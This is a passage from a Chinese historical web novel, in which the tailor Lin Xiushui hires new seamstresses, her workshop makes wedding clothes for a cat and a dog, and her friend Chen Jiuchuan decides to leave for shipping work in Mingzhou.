她和金裁缝可以看出其中的不足,针脚、放量、大小、配色、合身与否,从中再挑好的,再请她们裁制衣物, 留下合适的。 李小茶支支吾吾,她偷她姐的衣裳来着,穿件大红袄子配条大绿裤衩,得亏她瘦,年纪又不大,不至于怪模怪样。 她也没撒谎,“外面没穿,里头穿了。” “小娘子,里头抹胸实打实是我自己缝的,”李小茶说着解衣裳,“要不我给你瞧一眼,反正我们大家都是女的,也不害臊。” 林秀水紧闭双眼,连连摇手,她差点破音,“别别,我不看。” 李小茶听了,她不脱了,怪冷的。 林秀水松了口气,睁开一只眼睛,而后取出帕子擦擦鬓角,她对李小茶是不大满意的,针脚粗陋,抹额上的刺绣歪歪扭扭,跟她想找的裁缝压根搭不上边。 她便如实说明缘由,李小茶也不失望,先收好抹额,看来裁缝这路子确实不合适,她等话说完,当即转换了想法,做不成裁缝,那就找裁缝。 “小娘子,你看我给你找裁缝来怎么样?”李小茶弯着背小声问,“我要给你找到了,你能给我点钱不?” 林秀水虽则惊讶,却没有拒绝,不管是谁帮她找都可以,她已经托付刘牙嫂、牙行里的孙牙嫂,金裁缝帮她找裁缝和绣娘,此时再多一个李小茶未尝不可。 水记全衣在桑桥渡众人口中有些名声,地段又好,听到招工想做裁缝的人不少,林秀水和金裁缝每日可以见三十几个人。 只不过奇葩也多,非要让林秀水招她的,说是她得了蚕花娘娘的保佑,不招她会遭天谴的。也有来了个男子,不知道哪里来的补鞋匠,认为自己连最难做的鞋子都能做,裁缝肯定能做,想得挺好。 还有没被选上,愤怒之下要求林秀水赔偿她的路费,没有坐船过来,从西大街走到桑桥渡,整整走了一千多步,应该给她一贯银钱才是,见人不同意,才骂骂咧咧走了。 以及林秀水觉得人绣娘手艺挺好的,想要让她明日再来试一试,结果隔天人家过来说自己亲戚没了,全家奔丧去,此后再也没见过。 林秀水见了许多人,真是见了许多人的每一面,有些人她就再也不想见。 当然更多的是极其认真,为了谋口饭吃的手艺人,她招的第一个裁缝叫水芹,是南瓦子里给歌舞、七圣法(魔术)、踢弄(杂技)等杂耍人物做衣裳的。 在南瓦子里待不下去,给男的做衣裳总是能听见污言秽语,且里头太乱了,大半夜也不消停,几个男的厮混在一起,水芹真想拿黑狗血泼死他们。 “我在里头待了六年,上年春我又生了个闺女,一岁多刚开始会学舌,就学人骂脏字,”水芹梳着精光的发髻,双手叉腰,“我真是气不过,买了旁边巷子里的屋子搬出来住了,也不在那做了,干脆寻个新活计。” “东家你别嫌我身上穿得老气,我们是给别人做衣裳的,我今日也带了好几件做的衣裳来,你先瞧瞧,能不能用得上我这人。” 水芹动作利索,解开带来的大包袱,里头衣裳整整齐齐叠好,她双手捏衣裳的肩膀两处,慢慢抖开,铺展平整。 林秀水歪头看去,是一件红罗窄 袖开衩褙子,衣襟处为黄色的铜钱纹,倒不算稀奇,另一件也是,不过颜色用得很多,白地蓝花,衣襟上为赭、红,又有浅黄宽边。 她征得同意,自己上手翻看,看到一条蓝、绿、橙三色间色的唐制破裙,有些惊讶,“你会做破裙?” 破裙的话,在宋朝比较少见,毕竟是前朝的服饰,破裙林秀水认识,不大会做,虽说为布条裁开,上下颠倒缝合而成,瞧起来很简单,做好几种布料的拼色便可,其实里面大有门道。 比如六片多破裙、八片多破裙,加肩带的十二片多破裙,二十四片多破裙等等,也相当麻烦。 水芹听到此话,从衣裳里拿出一条类似于灯笼裤,裤脚处是收口的,又叫小口裤,她拎着裤子两边说:“对,我会做不少唐制的衣裳,瓦子里有演前朝的杂剧,经常会换一个杂剧,要赶制其他颜色的衣裳,十日之内必须做完一身。” “我还会做不少的衣裳,只是眼下没能带过来,不如我带小娘子去瓦子里瞧瞧,哪个人身上穿的衣裳是我做的,我全记得。” 水芹说得很有底气,“我虽然在南瓦子不算有名,可去打听打听,也知道我水二娘做衣裳有一手。” “且我叫王水芹,只称水芹,水芹长水里,又是水字当头,东家你的铺子还叫水记,说明我们本就是一家。” 林秀水也一本正经回:“那还能按水八鲜里来论,八鲜里有水芹,我姓林,所以我叫菱角,怎么都说得通,确实是本家。” “明日来上工怎么样?月钱的话,暂时每个月四贯,我们有节礼的,冬至会发,当然如果做得好,还可以再加…” “今日都可以,”水芹听后连忙道,“我们有针线在哪都可以做活的。” 林秀水让她先裁王家租铺的大袖衫,让夏侯娘子先教教她,水芹拎起大包袱,雄赳赳气昂昂出门了。 金裁缝听了她们一番水源论,水八鲜论,她说:“入水随俗,我应该叫茨菰。” 她名字里带慈,叫作金画慈。 “我呢,我叫荸荠,”阿云握一把打扫的掸子上来说,“我姓齐嘛。” 林秀水说:“那可好了,又好听又好吃。” “按照这样说,那不是还缺芡实、茭白、莼菜和莲藕,看来我以后找人,该往这上面找啊。” 她说完猛地一拍手,顿时恍然大悟,“怪不得,我能办满池娇,池塘缺不了水嘛。” “合该是我啊,”林秀水小小地自夸,金裁缝抚过她肩膀,“是啊,你胜在名字了,有水为一胜,有林为二胜。” 林秀水不解,“什么意思?” “脑瓜比较灵。” 林秀水捂脸,真是好冷不丁的夸奖。 这水八鲜虽是几人玩笑的话,不过后续招到的裁缝和绣娘,倒是真跟这几样脱不开联系。 一个为李小茶生拉硬拽过来的,她二姐李千,林秀水听来就想到了芡实。李千倒不是做裁缝的料子,缝的绣样很出色,一块绛色布料绣着大团缠枝牡丹,针脚很扎实,应当苦练了很多年。 李小茶面露骄傲,“那是相当好,我打小穿我姐绣的肚兜爬出门,一条巷子里,谁也没有我的肚兜好看。” 李千翻了个白眼,不能踹她,悄悄拧了李小茶一把,个死丫头,什么都往外说。 李小茶并不在意,她就知道她姐可以的,不枉费死命扒拉人过来,这样她姐既有了活计,她还得到了三百文钱。 三百文!这么多钱,她姐再也没法用两文脚费指使她干这干那的了,她要潇洒去了,李小茶嘎嘎大笑。 正在商谈月钱,以及一份绣样需要多久的两人,被这一声狂放的笑声给吓一跳,李千忍无可忍,她直接对林秀水说:“小时候我娘生她时生太久了,后来脑袋又撞门又撞墙,这不就一天到晚傻乐呵。” 李小茶哼一声,她才不是傻子,没有像她这么聪明的傻子。 等出了门,李千提着李小茶的耳朵走的,林秀水在后面看热闹,而后背着手进门,一脸故作玄虚,“让我们猜一猜,下一个来的八鲜会是谁?” 金裁缝热衷于打算盘,珠子打得噼里啪啦响,并不走心地说:“我喜欢吃茭白,压这样,赢了你给我钱,输了我不给你钱。” “真是好算盘啊,老金,”林秀水琢磨这句话,越听越不对劲。 阿云说:“我猜莲藕好了,眼下是挖莲藕的季节。” 林秀水袖子一挥,豪气道:“我全压一遍。” 两人看她,她面不改色,“压一个中的太小了,小春娥告诉我,想要在扑买中能够取胜,那便是全压。” 金裁缝扭头,她帮林秀水算着不靠她的月钱,光靠水记全衣一个月赚的九十六贯,能不能付清所有的月钱,毕竟她的工钱已经涨到了六贯一个月,虽说她不缺钱,还是可喜可贺。 三个人押注,彩头是林秀水请吃饭,十月里羊肉兴盛,九百文一斤吃不起,五十文一份的改汁羊撺粉能吃得起。 除了林秀水全压,其余两人都没猜对,这第二个来的裁缝有些曲折。 当日下午,外面下小雨,一个八岁上下的小娘子走进来,穿一身很合身的淡黄绣桂花夹绵袍,发髻上也绑着同色系的发带。 阿云去接过她手里的大包袱,蹲下身子来好奇问道:“小妹妹,你自己来做衣裳吗?” “不是,”小娘子口齿清楚,“我来替我阿奶选裁缝。” 她又连忙改口:“不对不对,我想让我阿奶上这里当裁缝,她不肯来,只好我自己过来了。” “我听说你们要穿自己做的衣裳,”张小妹有点苦恼,“可我阿奶没有给自己做过一件衣裳。” “家里买来的布,她做两件,一件给我大哥,一件给我。” “诺,我身上穿的就是我阿奶做的,”张小妹用手轻轻拍着,又蹲下来提起包袱,她的手早就在来的时候勒红了,也毫不在意地说,“这里面都是我阿奶给我做的衣裳。” 张小妹扬起脑袋,很自得,“她是天底下最会做衣裳的人。” 林秀水也附和她的话,伸手接过来,温声软语道:“好啊,我看看这天底下最会做衣裳的人。” 大大的包袱里,只有两件衣裳,一件是絮了,三四层丝绵的厚夹袄,料子用的缎面,只是这红缎瞧着有些年头了,林秀水用指甲刮了刮勾丝的地方。 另一件也是厚袄子,只不过是寻常的绿绢布,她摸了摸,应当是今年春四月新蚕织出来的绢布,很顺滑,织工也不错,能瞧出是自家织的。 两件膨胀的袄子,针脚细密,做工也不错,没有多么新奇的花样和款式,丝绵多,爱也多。 林秀水弯下腰跟张小妹说:“那你明日叫阿奶来,我们一起商量商量先。” “今日行吗?”张小妹为难地抠抠自己的手指甲,她低着脑袋说,“不知道明日天晴不晴。” “下雨阿奶在家里,晴天在水地里。” “我们家种了很多很多的茭儿菜,卖完一日还有明日,我想着阿奶去做裁缝,做裁缝腿不疼。” 金裁缝深有同感,大冷天的,一冷腿就疼,种茭白的话,沾水腿肿得都走不动路。 她喊张小妹来烤火,慢慢道:“那雨天你阿奶也走不动远路的,你可以早些时候来,或者晚点来,我们在铺子里等你。” 张小妹咬着手指,她有点犹豫,在她的想法里,阿奶只有雨天才会一整日有空,她忽然叹气,“我还太小了。” “不然我就来做裁缝了,我也给阿奶做很多好衣裳。” 林秀水告诉她,“我十二岁的时候才开始学针线活,说不准你比我要厉害,十岁就能学会了呢。” 张小妹听了喜滋滋,她把湿了的鞋子烤干,脱下来的袜子都是缝了好几层布料的兜袜,穿起来很热乎。 到了第二日起早,林秀水记挂着这事,早早出门,王月兰则跟出来喊 :“你的风帽给拿上。” 林秀水拿上后,急匆匆顶着风出门,到了铺子门口,便见一对祖孙站在那,那老太太头发花白,背倒是不佝偻,眼神也清明。 看到她拉着张小妹上前,不住道谢,原来张小妹回家的说辞,是昨日出门玩下起了雨,到水记全衣避雨,人家给她烤火,还给她茶点吃。 老太太一听夜里都没睡,第二日赶紧带着张小妹过来。 完全不知道自己是被张小妹骗来的。 她听了事情原委,倒是没恼,反而跟着笑,“我说呢,我昨夜就嘀咕,我们住在东头那一路的,怎么玩着玩着跑南边去了。” 夏老太没有犹豫地道:“她想叫我来试试,我就斗胆试试。” “叫她知道,她阿奶也是有个胆气的人。” 至少以后想起年少时,说想成为阿奶这样的人,并不会觉得后悔和丢人。 张小妹欢呼,蹦起来,她心里充斥着激动,眼里是阿奶挺直的脊背。 夏老太年轻的时候是做裁缝的,只是后来,当裁缝的不如种菜的赚钱,小菜园一亩地能赚三四贯钱。种旱地里的菜,又不如水里的菜值钱,她又有魄力,带着一家人,借钱包了大片水田改种茭白,两年后就还清了钱,还足够衣食温饱。 只不过她腿脚不好了,下不得水田,本想再去寻个糊纸灯笼的活,此时有了这个机会,她也没有丝毫犹豫,拿起针线,缝得相当认真、专注。 脚不好,还有手可以用。 林秀水对她的手艺很满意,也不觉得五十多岁年纪算大,很高兴她能加入水记。 “真的吗?”张小妹很惊喜,她满屋子乱跑,散发着喜悦,“天呐,阿奶,你真的是世上最厉害的人。” 夏老太眯起眼,笑得很慈祥,“那可不是,你阿奶出马,没有办不成的事情。” “我这叫老当益壮。” “回去吓死大家去,觉得我就只能糊个纸灯笼,破纸还有三斤多呢,我个老媪是身老心不老,小娘子,你等着我明日早早过来。” 夏老太自夸,“我们这种老人,夜里睡得比狗早,白日起得比鸡早,什么活叫我们干最合适了。” 林秀水承认,这说的完全是实话。 暂时只招到这三人,水芹八鲜凑齐了六鲜。 六鲜还要下午聚在林秀水租的铺子里,那真是六鲜开会,群英荟萃。 开会的内容是,猫狗的嫁衣怎么做?附带:两套小孩的衣物。 一群人还不大熟,围坐成一圈,中间摆着两盘糯米灌藕,一盘炸藕,可惜冬天里没有莼菜,不然林秀水高低上一盆。 至于为什么没有其他的菜,毕竟同类吃同类,有点不太好,搞得在自相残杀。 大家来的时候吊着十二分的胆,一见林秀水这种模样,又听这种稀奇古怪的东西,没胆渐渐变成了小胆。 还好是猫狗,不是马,不然成了下马威。 “狗也穿嫁衣?”夏阿婆奇怪,“招我来的时候,没说要给猫狗做啊。” “不然,不然我就抓两只来,做做看。” 老太太非常能接受新事物,“这猫狗喜欢啥,我就给做啥,既然东家提出来了,那这猫狗一定能做,能做的事我夏大美不会推辞的。” “猫和狗的衣裳我还没做过,”水芹有十足的兴致,“怎么都可以先做着瞧瞧。” 李千犹豫着道:“我不会做衣裳。” “不过我会刺绣,我要是见过它们,我可以绣得很像。” 其实对于裁缝来说,给除了人以外的东西做衣裳,对她们手艺本身而言就是一种冒犯,在裁缝作里,林秀水提起来,二十个人里有十八个会愤然离席。 但在水记,她希望招进来的不管是裁缝,还是绣娘,接受度能够宽广一点,毕竟观点相背离太多,沟通起来会很累。 所幸她们虽然不大能理解,至少大家都是水里的物种,都比较能够接受,并没有太激烈,觉得被蔑视的情绪出现。 大家商量着,在林秀水完全不会有威压的情况下,尽情提出自己的意见。 夏阿婆最为在意一件事,她反复强调,“多絮点丝绵,不要冻坏了肚子,猫和狗最喜欢趴在地上,地是冰凉的,冻坏了可不行。” 林秀水也赞同,李千说:“那我做绣样,将猫和狗的模样绣在上头。” “既然已经定好了颜色,红猫绿狗,我们就在头上再做点花样,猫戴绿头纱,狗戴红帽子,”水芹在南瓦子里混过许多年,对此接受最高,能想出来的办法也最多。 她还提议,“要是想有点意思的话,那我们就再做个挂牌,一个写我是陪嫁,另一个则写着我是陪娶。” “这个想法很好,绣上去应该更好,做成围兜,挂牌的话一是重,二是不大好看,”林秀水说着,将纸上画好的倒三角围兜举起给大家看。 李千一听要绣,先低下头,又吞吞吐吐地说:“可是,可是我不识字,我也绣不来字。” 夏老太不用说,帮忙裁布的阿云不认识字,水芹认识的字不多,周娘子也大字不识,没关系,林秀水决定等这次之后,重金聘请思珍过来教授。 金裁缝也有了点想法,“其实对于猫的大小而言,是能做长布拖地的,再加层布料,可以盖住它的腿。” “不过我也说,我们是三个臭皮匠,顶个诸葛亮,只能有什么提什么。” 那总比林秀水自己单独想好,她招裁缝可不就是为了此刻,都是裁缝,大家越说越高兴,各种想法层出不穷,林秀水在她们的话语里,灵感涌现,画出了两张草图,又一起讨论,进行细细修改。 给猫做绿色的盖头,上面绣一只狸花猫,给狗做新郎官的簪花蹼头,就是帽子后面是根白花花的大骨头。 猫的陪嫁衣用红色,都用直袖长筒的,腹部包笼,穿在后背的倒背衣,会分成两个部分,上半身纯红刺绣,后背处加上打褶的红色一片裙,很像新娘子的裙摆,中间衔接处加刺绣。 至于狗的,它有点太胖了,尺寸一放再放,绿色的倒背衣有点单调,在背个大骨头的方案里,大家最终选择了绑流苏,以及胸前加绑红色的绣球。 这两张图样,方星极其满意,当然小团喜欢大老虎衣裳,林秀水也设计好了,小团闭着眼睛,使劲摇着脑袋,“我不要看,看了我就每一天都睡不着觉了。” “我就会一直想穿新衣裳了。” “我跟鳝鱼和大骨头一起等新衣裳。” 小团坐椅子上晃荡着双腿说:“这样它们穿衣裳,一个喊喵,一个喊汪,我就喊好。” 林秀水顺势收起来,“当然可以了,到时候请你闭上眼睛。” 这次缝制的衣裳很快,猫狗的用料少,孩童的也没有成人的费劲难做,难的是絮了多层丝绵后,袖筒会很难翻过来,夏老太对此很有经验,她就喜欢给孙辈做超级加倍的衣裳,袖筒永远鼓鼓囊囊的。 猫狗不知道期不期待,这份期待 感全像等着冬天里来临的雪花,落在大家的心里。 到了试衣裳的那日,小团是蹦进来的,知道自己跨过门槛后,才捂住眼睛说:“阿俏姐姐,我闭好眼睛了。” “我能看了吗?我想它好久了。” “当然可以,”林秀水将她牵到衣裳面前,让她闭着眼,先摸一摸衣裳,小团不敢睁眼,语气惊喜,“毛茸茸的,是老虎的毛吗?” “你睁开看看。” 小团先将左眼睁开一条缝,再慢慢睁开右眼,比起她的眼睛,最先张大的是她的嘴巴,她哇了一声。 最先看到一顶非常漂亮的红色虎头帽,边缘一圈是毛茸茸的白色,絮的丝绵和羊毛,两只耳朵,耳朵中间都绣了金线边,再是两只蓝底的红眼睛,外圈是浅浅的橙色,再是一圈压扁的羊毛,眼睛大大的。 小团当真爱不释手,她超级超级喜欢,里面也是毛绒绒的,她迫不及待戴上,晃着两根红色绣带垂下来的白色圆球。 衣裳也喜欢,最喜欢的是前面那只虎头虎脑的大老虎,还有左右两边有圆耳朵的口袋,都有毛绒绒的白色镶边条。 小团简直要化身大老虎,挨个跑去问,自己是不是大老虎。 方星则看着穿好衣裳的猫和狗,哈哈大笑,红色显得狸花猫更黑了,绿色一点不衬狗,哪怕精工做出来,也难以逃离这种滑稽感。 尤其猫一脸苦大愁深,胸前挂着红色围兜,用黄色线绣着我是陪嫁,狗一直在动来动去,胸前的绣球要晃到天上去,咧着个嘴大笑,配上我是陪娶就显得很可笑。 除了猫,其他人对此很满意,当然很不满意的猫,蹲在主人腿上,看向前面挥笔的张顺娘时,也有点松软下态度。 随着笔墨的挥毫,猫狗和人被细致地记录下来,画在纸上。 头次穿衣裳的猫和狗,也有了第一张自画像。 方星喊着:“要永远永远在一起。” 她不要永结同心,她想要永远,此时有猫有狗有心爱的人。 大家全是笑模样,红色喜庆,连旁观的人也会由衷地感受到幸福。 林秀水站在别人的幸福里,当一个很幸福的旁观者。 当有人问:“渴望这种幸福吗?” 她回过头,她不再站在一片红色的欢歌里,眼前不再是白日,她此时在黑色的冬夜里,有高大的身影走在她的前面挡着风。 夜里路边是炸裂的烟花,敲锣打鼓声,她听到陈九川这样问她,风尘仆仆,回来问的第一句话。 林秀水轻声地说:“你猜。” “可是我猜不到。” 90-95 第91章 第 91 章 不是走远,是走近(感情…… 林秀水站在原地, 没急着开口。 街边屋檐下挂着两三排红灯笼,从她身旁路过的人,手里抱一个很大的子孙桶, 里面必定放了红蛋和喜果。今年底丝绵卖得很紧俏,有三个女人从旁路过在闲谈,“我就说今年肯定买不着好的, 我从去年就开始备着了,生怕紧赶慢赶,赶不上。” “我不是想着去年是旧年,今年是新年, 新人要用新被子,”中间女子懊恼,“真是失策了。” 两个穿厚袄子的女子跑过去, 其中一个说:“那家铺子进去瞧瞧,我给我家闺女的奁产里,还少三匹彩帛,再不买可真就来不及了,” 寒夜里,路边仍有不少摊子,多半是算卦的摊子, 算男女八字相不相合。也有不少卖茶饼、鹅, 重金悬赏大雁的, 即使九月后朝廷不再抓卖野物的猎户, 可大雁都被捕了一遍又一遍,压根没有几只幸存的。 林秀水还瞟到卖彩画的,画着五男二女,买的人不少, 沾传说里周武王的光,说他有五个儿子,两个女儿,借此来希望子孙繁衍。 到处的香烛、花茶果物、羊酒、大鹅、媒箱、茶饼、冠花、彩缎等等,全是为成婚所备的,桑青镇的九坊三十六巷里是红彤彤。 红色照亮了每一张脸庞,看似是喜悦的,幸福的,所有人都像被一块红绸布裹挟。 林秀水伸手接住飘落的红色纸屑,从炮仗身上来的,她又丢掉,拍拍自己的手。 她走上了一侧的石阶,跟陈九川身高持平,“你还没猜,怎么就说猜不到呢?” “想听你说的,”陈九川如此道。 两人很少谈论过这种事情,譬如婚姻大事,譬如情和爱。 林秀水知道陈九川在试探,她也清楚陈九川的心思,像夏日里的冰块,冬日里的火炉,只要走近,一定能感受到。 她直视陈九川的眼睛,说出那句话,“以前是不会,眼下是考虑过后,” 她在冷风里叹气,幽幽地道:“不清楚。” 陈九川原本心吊得高高的,听她说完,又变成上不上,下不下,跟在林秀水身后追问,“不清楚?” “就是不知道,”林秀水往前走,陈九川走得很快,她踩在他的影子上。 陈九川不大相信,路过要吃饭的正店,又叫住她,“阿俏,你过来点。” 两人坐在稳便阁儿里,伙计送过来食牌,林秀水先点了一道鹅排吹羊大骨,便放下了,陈九川加了道四鲜羹,又忽然没了说话声,只有轻微的气声。 “你之前去明州时,说回来有话想跟我说,不会就是这个问题吧,”林秀水很直白地问,她才不相信。 陈九川说不出口了。 想起从明州回来,路过上林塘,回了趟家,他娘张凤梅在家里,又骂他有钱没处使,找些人手来田里帮忙白花几贯钱。 “只有三贯,”陈九川纠正。 张凤梅呸他,肘子都不想给他吃了,还埋怨他不把桑英带回来,吃肘子也吃不上热乎的。 “三贯,”她冷笑,“知道的以为你是个十六七岁的人,不知道的以为你六七岁,不用成家立业的,就算成家也不用钱的。” “我都懒得讲你,怎么就生了你个倒霉儿子,”张凤梅气死了,话是这样说,指着陈九川,一句话也没少讲。 陈九川不想听,张凤梅一把扯住他衣角,强硬坐下听老娘的教诲,“我跟你爹赚的钱,大半是给你妹当奁产的,你要讨媳妇,自己得出大力知不知道,一天有两个钱就抖起来,当自己是香饽饽啊?” “你要是找个镇里的小娘子,那定亲的细贴上面要写多少聘礼,金银、田土、房舍、财产,你有哪几样?” “当然你要想入赘的话,我也不拦着。” 陈九川不要脸地说:“那我真去了。” “你去吧,我肯定会打死你,”张凤梅面无表情地回,还骂他一句,“没种的东西。” 陈九川真佩服他娘,每次都能准确无误往他心窝子上戳,半个下午骂得他狗血淋头。 张凤梅是绝对不允许陈九川不干活,吃老本,回上林塘来种田的,都说士农工商,狗屁玩意,种田种得只能混口饱饭。 “都到年底了,正好明年无春年,你看你自己也找不到媳妇,你就可劲地赚钱去,”张凤梅择着菜,“把钱给赚到,我后年一出年就给你张罗。” “别跟你这死鬼老爹学,啥也没有就敢娶妻,跟他过了大半辈子苦 日子,我也不想到老了,还得替你卖命,你争点气。” 陈九川打小听他娘这样说,这话只跟他说,倒从不跟桑英讲。 他也上进,十三岁前下地种田,十四岁就有胆子出门跑船运,沿河两岸边上到镇里,再到临安内城,去明州,赚的钱他娘拿去买了七八亩上等田,帮他种着。 八和九两个月,他待在镇里多,船运往来少,他爹倒不骂他,跑船运是个苦活,就是总蛐蛐他,说他个大小伙子虚成这样,以后就在镇里赚个三瓜两枣的算了。 陈九川并不看好桑青镇,在镇里跑船运,两三年也买不下一座大宅院。从临安钱塘江,到余姚再出运河南上的几个州府,只要他肯将手里的七十贯银钱作为本钱,带人组船队,长期在外跑一年船运,能挣出一间大屋子,几亩临安上等田,珠翠、宝器等等。 可手心是肉,手背是钱,更好的生活,能够说出口的承诺,未来的种种,他很为难。 在没有钱的时候,碰上足够好的人,想说的那些话,他怎么说得出口。 幸福也是要用钱来编织的。 “阿俏,”陈九川轻声喊,思绪又回到了这座风夜里的小阁间。 林秀水静静地看他,陈九川说:“人常说成家立业,先有家再立业,可是我应该先立业的,如果要去做的话,明州比起临安,会有更好的出路。” “可我,其实也抉择不了。” 他没有办法在短时间内,两样兼得,又将一切摊开来明说。 林秀水却问道:“是为了自己吗?还是为了别人?” “是为了自己,”陈九川承认,他所做的种种,是为了自己成为更好的人,而不是想要林秀水来俯身迁就她。 因为很清楚自己到底想要得到什么。 林秀水又将食牌拿起,语气轻快,“那再点一道菜,庆祝陈九川在此刻做出了一个重大决定,这个决定关乎他自己。” “而且为什么不去呢?” “你去了明州后,我们可以期待以后的每一次见面。” 直白而坦率的话语,陈九川听见自己怦怦乱跳的心,要跳出胸膛。 林秀水真心觉得,两个人太熟悉了,打一出生就认识了,她前十五年的人生轨迹里,都有陈九川的身影,熟悉到她知晓所有的往事。 有时候也输在太熟悉上。 熟悉会知道很合适彼此,太熟悉就会降低新鲜和期待感,失去探寻对方的欲望。 远离或许是另一种走进彼此,明确到底是因为熟悉一个人的存在,还是喜欢一个人的存在。 “什么时候走?”林秀水问。 陈九川说:“要等到冬至过了。” 林秀水算了算,还有七八日。 她也第一次详细听了陈九川的船运营生,并不是随口说的,他想先干船运,再转海运。 咸平二年,明州和临安同时设立了对海外贸易的市舶司,只不过两边海上贸易不如泉州,眼下泉州势头正盛,很多船队到天竺和蓝里的海岸。海上夏天刮西北风,冬天刮东北风,夏天外番船只抵达泉州,十一月各路商队船只经由泉州出海,到蓝里过冬,顺着季风一个月横跨海域到诸国做生意。 船运累且赚的是小利,海运有朝廷大力推行,去往泉州的船比临安府的都要多。 可陈九川却说:“我很看好明州,即使几百年后,它的海运依旧会长盛不衰。” 明州相比临安有极其优越的位置,在大运河的腹地,地处三江口,余姚江、奉化江以及甬江汇合之处,沿江所过的州府,为临安、绍兴、扬州、南京,船运的路程很短,也可以直接由此抵达开封。 外经由明州港到高丽半岛,或是东瀛诸岛,经商往来相当成熟。 陈九川确实觉得船运不如海运,他也并非一股脑抛下船运,而是先继续干船运,再学航海里指明方向的司南,也叫指南鱼,以及和指南鱼一起配套使用的观星术。 有一句话叫昼则观日,夜则观星,阴晦不定观司南。 人在谈及自己喜欢的事物时,即使在两根蜡烛照耀的夜色里,也会变得明亮,林秀水看到了他的熠熠神采,很动人。 即使分别的时候,也会想起,他今天晚上的光彩,她好像第一次了解陈九川。 与其说是了解,又好像是笨拙地在他的心里探索。 林秀水并不算排斥这种莫名其妙的感觉。 在金裁缝的眼里,她也很莫名其妙,买了几块湛蓝的布料,跟水芹讨教男款制的袍子怎么做才好。 “你不会想跟我说,你以后想改行做男服了?”金裁缝拉过她,呼出口白气,要排除这种不可思议的念头。 林秀水真是佩服,“老金,你一天到晚想什么呢?我有那么多人手可以做吗?” 两头忙得慌,旋裙翻来覆去地改,临安那边还想要更独特的,色织布进展不大顺利,拆了又织,织了再拆,一个个改得大冷天也相当恼火,织出来会有色线分布不均匀,而导致的明显色差。 这边王家租铺又催着红色大袖衫,林秀水还额外多找了几个其他地方的裁缝娘子,先将裁好的大袖衫缝合好先。 金裁缝噢一声,拉长音,“那让我猜猜给谁做的?” “别猜,”林秀水捂住耳朵,“我听不到。” 金裁缝忽然道:“哎,女大不中留啊。” “停,”林秀水伸出根手指,嘘了下,“人家要去明州了,我做几件衣裳也不大妨碍吧。” “我还没说是谁呢,”金裁缝嘀咕,此地无银三百两。 她又好奇上了,“又去明州,什么时候回?” “不知道,应该隔三岔五回。” 金裁缝嫌弃地皱眉,能不能行,明年是寡年,也不能可劲地寡着啊,真叫人着急。 “去做什么?他在那边船运生意很好啊?” 林秀水拿过袍样,寻思再给人做两件加厚的油衣,这次倒没有说不知道,“把船运两个字倒一下。” “运船?” 林秀水说得头头是道,“对啊,明州稳赚不赔的买卖,造船场在那里,江西湖南两地造船场减少,温州的造船场又并入了明州,那里每年的岁造漕运船更多,海防船也多,正是缺人运船的时候。” “明州的买木场并入温州,回来再用专门的百官船运木头。” 主要运船有个默认成规,可以捎带土宜在船上,再沿河兜卖,一次赚两份的钱。 金裁缝心说,坏了,还真被这小子给唬住了,从前她问林秀水,一问三不知,运什么都不知道,这会儿弯弯绕绕的,乱七八糟的,知道得一清二楚。 “你真是上了贼船,”金裁缝唉声叹气。 林秀水说:“哪家贼船会捎绍兴布的吗?给我介绍一下,他这艘贼船说,可以带绍兴的耀花绫、绉纱、茧布。” 当时听陈九川说的时候,林秀水比他说海运的时候更惊讶,绍兴最出名的是酒,其次是布,耀花绫名气大,毕竟是上贡的布料,但绉纱和茧布却不是,外行很少知道这两种并不出名,料子却很好的布。 金裁缝无话可说,真有心了。 同样的问题,桑英也问林秀水,啃着个年糕团,很不可思议地问:“我不懂啊,怎么说要去明州,就说搞运船。” 林秀水又重复一遍,桑英嗷嗷两声,“他嫌我烦是不是,跟我说得嘴跟在质库里借的,着急还去,生怕还不上。” 她愤愤跺脚,不过倒也不是真生气,毕竟陈九川还很认真问她,等他去明州落脚后,要娘来陪她,还是爹来陪,一个人住也行,他会拜托王月兰多照看下。米行的买卖太累,没有他时常帮着一起运的话,他会托给表哥张林一起帮忙,想回上林塘的话也可以坐张林的船,到明州会捎东西过来,记得收… 桑英很不解,“搞船运的话,临安也很合适啊,又是行都,离镇里也近,哪哪我都觉得挺好的,明州有点太远了。” “三五天也不一定能来回,待得久了,到时候他别说跟你,跟我们不熟了。” 也许,也可能并不会,林秀水想。 不熟悉也是另一种熟悉。 第92章 第 92 章 冬至节要账 冬至前几日, 下了小雨,自古晴冬至烂年边,冬至下雨过年晴。 桑青镇有在冬至前后几日要账、结账的习俗, 叫作冬节账。 林秀水开铺子自然也有好多笔烂账,让她去要账,她缝完两件圆领袍后, 早上蒙在新做的丝绵被里,实在提不起劲来。 王月兰早已在楼下烧了滚水,杀她养的最后一只鸡,之前养了五只鸡, 三只鸭,陆陆续续全给杀完了。 明年她不想养了,富裕起来后, 也嫌鸡鸭屎脏污了院子,打扫麻烦,还不如拿现钱去现买几只肥鸭划算。 她晚些要去织锦,出门买了三碗卷鱼面,走到楼梯口朝上喊:“阿俏,你起了没?洗面汤我都烧好了。” 林秀水应着,穿件不起眼, 没有任何花纹的蓝绢布袄子, 下身为鸭蛋青百迭裙, 王月兰一扭头, 嫌弃道:“你不是新做了几件袄子,咋又穿这么素净,不说簪子,连个发带你都不带。” “姨母, 我这是去要账好不好,”林秀水说完,甩甩巾子,冻得梆硬,她索性扔进热腾腾的洗面汤里。 她洗了两把脸,过来吃面,搅了两下坐那里说:“她们看我穿太好,到时候不把钱给我,我岂不是亏死了,总共十八贯七钱呢。” 王月兰最恨赊账的,她系上围裙,提一把大刀狠狠剁鸡,“你等我上午忙完,晚些陪你一道去。” “要不你先把小荷带上,谁有那个老脸欠着,你叫小荷趴地上耍闹给她们看。” 林秀水夹了一筷子面,差点没喷出来,“姨,有没有体面点的法子?” 王月兰剁完鸡说:“什么体面,都不要脸面了,还体面。” 林秀水吃完面,戴上风帽,掖一掖领子,拽过提包出门了,正碰上陈桂花跟她家回来的官人挑炉子,里头是热水,两人去卖洗面汤。 这吴大今年卖桑赚了不少钱,嫌陈桂花干洗头营生丢人,叫她别干了,被陈桂花追出来一顿好打,将他身上的褐布袄子扒下来,大骂一通,“给你生了个儿子,又不随我的姓,嫁过来多年,连半点福都没享过,我累死累活的,你回来就指着我鼻子骂,你个丧尽天良的货色…” 吴大被骂得连脸皮都给揭了下来,还被陈桂花扒了袄子和袍子,就剩件里衣,冻得他一把鼻涕一把泪的。且陈桂花自己兜里有钱,比他一年在外头挣得要多,再也不用看他的脸色过活,如此几次,他就收了这破嘴,在家里半个屁也不敢放。大冬天砸冰挑水劈柴扫地的苦活,终于有苦力干了。 